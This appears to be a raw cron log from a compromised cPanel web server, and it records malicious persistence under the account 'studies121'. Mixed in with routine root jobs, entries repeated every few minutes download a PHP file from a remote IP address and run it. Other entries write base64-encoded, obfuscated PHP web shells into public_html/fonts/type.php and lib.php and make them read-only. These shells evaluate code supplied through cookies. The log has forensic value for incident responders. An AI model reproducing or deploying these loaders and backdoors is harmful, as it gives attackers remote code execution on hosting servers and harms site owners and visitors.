Sep 22 03:14:01 ip-184-168-122-23 CROND[3168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:14:01 ip-184-168-122-23 CROND[3167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:15:01 ip-184-168-122-23 CROND[3279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:15:01 ip-184-168-122-23 CROND[3280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:15:01 ip-184-168-122-23 CROND[3283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:15:01 ip-184-168-122-23 CROND[3285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:15:01 ip-184-168-122-23 CROND[3284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:15:01 ip-184-168-122-23 CROND[3287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:16:01 ip-184-168-122-23 CROND[3487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:16:01 ip-184-168-122-23 CROND[3490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:16:01 ip-184-168-122-23 CROND[3492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:16:01 ip-184-168-122-23 CROND[3489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:16:01 ip-184-168-122-23 CROND[3491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:16:01 ip-184-168-122-23 CROND[3493]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 03:17:01 ip-184-168-122-23 CROND[3608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:17:01 ip-184-168-122-23 CROND[3612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:17:01 ip-184-168-122-23 CROND[3610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:17:01 ip-184-168-122-23 CROND[3609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:18:01 ip-184-168-122-23 CROND[3733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:18:01 ip-184-168-122-23 CROND[3735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:18:01 ip-184-168-122-23 CROND[3734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:18:01 ip-184-168-122-23 CROND[3739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:18:01 ip-184-168-122-23 CROND[3740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:19:01 ip-184-168-122-23 CROND[3848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:19:01 ip-184-168-122-23 CROND[3850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:19:01 ip-184-168-122-23 CROND[3849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:19:01 ip-184-168-122-23 CROND[3853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3965]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:20:01 ip-184-168-122-23 CROND[3969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:20:01 ip-184-168-122-23 CROND[3971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:20:01 ip-184-168-122-23 CROND[3972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:21:01 ip-184-168-122-23 CROND[4111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:21:01 ip-184-168-122-23 CROND[4114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:21:01 ip-184-168-122-23 CROND[4113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:21:01 ip-184-168-122-23 CROND[4112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:22:01 ip-184-168-122-23 CROND[4307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:22:01 ip-184-168-122-23 CROND[4308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:22:01 ip-184-168-122-23 CROND[4309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:22:01 ip-184-168-122-23 CROND[4310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:22:01 ip-184-168-122-23 CROND[4312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:23:01 ip-184-168-122-23 CROND[4433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:23:01 ip-184-168-122-23 CROND[4435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:23:01 ip-184-168-122-23 CROND[4436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:23:01 ip-184-168-122-23 CROND[4437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:24:01 ip-184-168-122-23 CROND[4597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:24:01 ip-184-168-122-23 CROND[4598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:24:01 ip-184-168-122-23 CROND[4600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:24:01 ip-184-168-122-23 CROND[4601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:24:01 ip-184-168-122-23 CROND[4603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:24:01 ip-184-168-122-23 CROND[4606]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 22 03:25:01 ip-184-168-122-23 CROND[4739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:25:01 ip-184-168-122-23 CROND[4740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:25:01 ip-184-168-122-23 CROND[4742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:25:01 ip-184-168-122-23 CROND[4744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:25:01 ip-184-168-122-23 CROND[4743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:25:01 ip-184-168-122-23 CROND[4745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:26:01 ip-184-168-122-23 CROND[4848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:26:01 ip-184-168-122-23 CROND[4850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:26:01 ip-184-168-122-23 CROND[4852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:26:01 ip-184-168-122-23 CROND[4851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:26:01 ip-184-168-122-23 CROND[4853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
